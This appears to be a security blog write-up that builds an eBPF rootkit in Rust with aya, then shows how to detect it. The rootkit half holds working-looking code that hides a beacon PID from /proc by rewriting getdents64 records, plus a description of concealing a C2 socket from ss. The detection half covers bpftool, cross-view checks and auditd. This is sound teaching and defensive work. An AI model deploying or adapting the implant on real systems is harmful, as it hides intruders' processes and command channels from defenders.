Writing an eBPF Rootkit, Then the Detector That Kills It
Building a userland-hiding eBPF implant with aya, then flipping sides to hunt it from the kernel. Red and blue in one write-up.
eBPF turned the Linux kernel into a programmable surface. That is a gift for
observability and a gift for attackers. In this write-up I build a small
userland-hiding rootkit with aya, explain exactly how it lies to userspace,
then flip sides and write the detector that finds it. Everything here is for
lab use on machines you own.
The primitive: lying to userspace without touching the process
A classic rootkit patches syscalls. The eBPF variant is subtler: we do not replace anything, we ride on top of legitimate kernel functions and rewrite the data they return. The two workhorses are:
- hiding directory entries, so a process or file vanishes from
lsand/proc - hiding network connections, so the C2 socket never shows up in
ss
Both are tracepoint or kprobe/fexit programs that mutate a buffer the
kernel already filled in.
Hiding a PID from /proc
Listing /proc is a getdents64 call. The kernel writes an array of
linux_dirent64 records into a userspace buffer. We attach to the exit of the
syscall and splice out the record whose name matches the PID we want gone.
use aya_ebpf::{ macros::{map, tracepoint}, maps::HashMap, programs::TracePointContext, helpers::bpf_probe_read_user, }; // PIDs to hide, populated from userspace over this map. #[map] static HIDDEN: HashMap<u32, u8> = HashMap::with_max_entries(1024, 0); #[tracepoint] pub fn handle_getdents(ctx: TracePointContext) -> u32 { match try_hide(ctx) { Ok(ret) => ret, Err(_) => 0, } } fn try_hide(ctx: TracePointContext) -> Result<u32, i64> { // Walk the dirent records the kernel just wrote back to userspace. // For each record, read d_name, and if it is a hidden PID, stitch the // previous record's d_reclen over it so the entry disappears. let buf: *const u8 = unsafe { ctx.read_at(16)? }; let total: i64 = unsafe { ctx.read_at(8)? }; let mut off: i64 = 0; let mut prev_reclen: u16 = 0; while off < total { let reclen: u16 = unsafe { bpf_probe_read_user(buf.offset(off as isize + 16) as *const u16)? }; let name_ptr = unsafe { buf.offset(off as isize + 19) }; if name_is_hidden(name_ptr)? { // Extend the previous record to swallow this one. unsafe { patch_reclen(buf, off - prev_reclen as i64, prev_reclen + reclen)?; } } else { prev_reclen = reclen; } off += reclen as i64; } Ok(0) }
The trick is entirely in d_reclen. Each dirent points to the next by length.
Grow the previous record's length to cover the hidden one and the consumer walks
straight past it. No syscall was hooked, no LKM was loaded, nothing shows up in
lsmod.
The userland loader is boring on purpose:
use aya::{Ebpf, programs::TracePoint}; fn main() -> anyhow::Result<()> { let mut bpf = Ebpf::load(aya::include_bytes_aligned!( concat!(env!("OUT_DIR"), "/rootkit") ))?; let prog: &mut TracePoint = bpf.program_mut("handle_getdents").unwrap().try_into()?; prog.load()?; prog.attach("syscalls", "sys_exit_getdents64")?; // Hide our own beacon PID. let mut hidden: aya::maps::HashMap<_, u32, u8> = aya::maps::HashMap::try_from(bpf.map_mut("HIDDEN").unwrap())?; hidden.insert(beacon_pid(), 1, 0)?; std::thread::park(); Ok(()) }
Hiding the C2 socket
ss and netstat read /proc/net/tcp and /proc/net/tcp6, which the kernel
generates through tcp4_seq_show. Attach an fexit program there, and when the
row corresponds to our C2 destination, overwrite the state so the line is
dropped from the seq_file output. Same philosophy: the data is real, we edit it
in flight.
# From the box, before the implant runs: ss -tnp | grep 10.10.14.7 # ESTAB 0 0 10.0.0.5:44122 10.10.14.7:443 users:(("beacon",pid=8821)) # After the fexit program is attached: the row is simply gone. ss -tnp | grep 10.10.14.7 # (nothing)
At this point the implant is invisible to the usual toolbox. Which is exactly why it is detectable, if you look one layer down.
Flipping sides: the kernel does not lie to itself
Here is the key insight for the blue team. The rootkit lies to userspace. It cannot lie to the kernel's own bookkeeping, and it cannot hide the fact that eBPF programs are loaded. The kernel keeps an authoritative list.
Signal 1: enumerate loaded eBPF programs
bpftool walks the kernel's program registry directly. A tracepoint on
getdents or an fexit on tcp4_seq_show is a screaming anomaly on a normal
server.
bpftool prog show # 42: tracepoint name handle_getdents tag a1b2c3... gpl # loaded_at 2026-07-26T10:02:11+0000 uid 0 # xlated 512B jited 389B memlock 4096B bpftool prog show id 42 --json | jq '{type, name, attach_type}'
If you have a fleet, ship the output. Any host with an eBPF program attached to
sys_exit_getdents64 that you did not deploy is compromised until proven
otherwise.
Signal 2: cross-view the truth
The strongest detection is differential. Read the same fact two ways and compare. The rootkit can only tamper with one path.
import os, re def pids_from_proc(): return {int(p) for p in os.listdir("/proc") if p.isdigit()} def pids_from_kernel_task_iter(): # A BPF iterator over task_struct sees every task, rootkit or not. # (Loaded via a separate, trusted bpf_iter program.) out = open("/sys/fs/bpf/task_dump").read() return {int(m) for m in re.findall(r"^pid=(\d+)", out, re.M)} visible = pids_from_proc() truth = pids_from_kernel_task_iter() hidden = truth - visible if hidden: print(f"[!] {len(hidden)} task(s) hidden from /proc: {sorted(hidden)}")
A bpf_iter program iterating task_struct sees the process the userland
rootkit is hiding, because it is the kernel enumerating its own scheduler state.
The delta between "what /proc shows" and "what the kernel iterator shows" is the
rootkit's shadow.
Signal 3: watch the loader, not the payload
Loading eBPF requires the bpf() syscall. On a locked-down host almost nothing
legitimate calls it after boot. An auditd rule turns every load into an event:
auditctl -a always,exit -F arch=b64 -S bpf -k bpf_load ausearch -k bpf_load -ts recent | grep -E 'syscall=321'
Pair that with BPF_AUDIT in the kernel log and you catch the implant at the
moment it arms itself, before it hides anything.
The takeaway
The eBPF rootkit is elegant because it never breaks anything: it edits truth on the way out. But that elegance is also its weakness. The kernel keeps a second, authoritative copy of every fact the rootkit tampers with, and it advertises the existence of the eBPF program itself. Detection is not about finding the lie, it is about finding the disagreement between two views the attacker cannot keep in sync.
Next in this series: turning signal 2 into a continuous fleet check that ships a single boolean per host.